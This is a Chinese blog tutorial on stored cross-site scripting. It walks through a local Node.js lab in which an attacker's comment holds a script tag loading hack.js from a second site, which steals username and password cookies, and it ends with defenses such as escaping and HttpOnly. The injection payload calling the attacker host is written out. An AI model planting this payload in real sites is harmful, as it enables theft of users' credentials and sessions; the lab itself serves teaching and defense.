zoukankan      html  css  js  c++  java
  • Stored XSS攻击

    XSS(Cross Site Scripting)

    即跨域脚本攻击,向被攻击网站注入恶意脚本,恶意脚本获取到数据发送到另外一个域的网站上。

    Stored XSS攻击

    即存储式XSS攻击。

    把恶意脚本存储到被攻击者的网站的数据库。

    其他人访问数据库中的恶意脚本代码后,浏览器执行恶意脚本,被攻击。

    存储式攻击不止一次攻击,并且被攻击的人不止一个,影响范围大。

    Stored XSS攻击实例

    思路

    1.通过nodeJS在后端开启两个不同端口的服务,即两个不同域的站点。

    2.被攻击者网站

     a:在登录时,把用户的用户名、密码信息存入cookie中

     b.有一个评论功能,用户在文本框内输入评论信息,然后提交到服务器。

    3.攻击者在评论处输入<script src='hack.js'></script>,点击提交后这段脚本存入到数据库

     hack.js文件是攻击者网站的js脚本文件,用来获取用户的cookie中的用户名、密码信息,并且把用户名、密码发送到攻击者指定的网站。

    4.当网站的用户访问带有评论<script src='hack.js'></script>信息时,会下载hack.js文件,并且执行,网站被攻击。

    注意:若返回的是包含<script src='hack.js'></script>内容的静态html文件,此段代码会执行。

             若使用ajax获取评论信息,然后通过innerHTML方法把<script src='hack.js'></script>添加到html文件,此段代码不执行。innerHTML会把<script src='hack.js'>

             </script> 当作字符串来处理,攻击失效。

    实验

    文件结构

    server.js为服务端,创建了两个http服务,端口分别为3000, 3100。

    hackedsite为被攻击的站点,运行在3000端口中。

    a.index.html为登录页。

    b.为评论信息页。

    c.为获取评论信息页。

    hacksite为攻击的站点,运行在3100端口中。

    a.hack.js为嵌入在被攻击网站的恶意脚本

    b.remote.js用于协助hack.js把获取到的数据发送到hacksite站点。

    过程

    1.使用nodeJS搭建本地服务器,启动两个不同端口的服务,端口分别为3000,3100。

    server1.listen(3000);

    server2.listen(3100);

    2.访问urlhttp://localhost:3000/hackedsite/index.html进入登录页面,并且输入用户名、密码

    点击登录按钮后,把用户名、密码存储到cookie中,并且跳转到评论页面。

    3.进入评论页面,在评论中输入<script src="http://localhost:3100/hacksite/hack.js"></script>

    点击提交后,评论信息存储到数据库,并且重定向到显示评论信息页面。

    4.显示评论信息页面

    第三条内容为<script src="http://localhost:3100/hacksite/hack.js"></script>,被浏览器解析执行。

    html为:

    上面的html片段返回为静态的浏览器解析script标签,若通过ajax获取评论数据,通过innerHTML添加的,则script标签不解析执行,当作字符串来处理。

    hack.js文件获取被攻击网站的cookie中存储的数据,并且发送到指定的站点。

    hack.js是如何工作的

    1.首先获取被攻击站点的cookie中的用户名、密码

    2.借助<script>标签把获取到的用户名、密码信息发送到攻击者站点,这样,就能窃取到被攻击者的登录信息了。

    sessionId

    http是一种无状态的协议,为了记录一个会话周期,通过sessionId来记录会话过程。sessionId通过cookie传递到服务端,也可通过XSS攻击获取sessionId,从而使攻击者获得登陆网站的权限。

    防御

    (1)转义

    (2)HttpOnly

    如果在cookie中设置了HttpOnly属性,那么通过程序(JS脚本、Applet等)将无法读取到cookie信息,这样能有效防止XSS攻击。cookie通常在http头中传输。

    cookie为字符串格式:key=value;Expires=date;Path=path;Domain=domain;Secure;HttpOnly

    代码地址

  • 相关阅读:
    视图&索引&序列
    PL/SQL语言基础
    C#实现递归矩阵连乘(动态规划的递归自顶向下,非递归自地向上)
    JS 第五课
    请问,小丽的鞋子到底是什么颜色的?
    用10!来回顾 PL/SQL语言基础 && 标准异常名
    SELECT 查询—子查询
    备份和恢复
    JS 第六课
    Linux学习之二Linux系统的目录结构
  • 原文地址:https://www.cnblogs.com/fe-huahai/p/6482672.html
Copyright © 2011-2022 走看看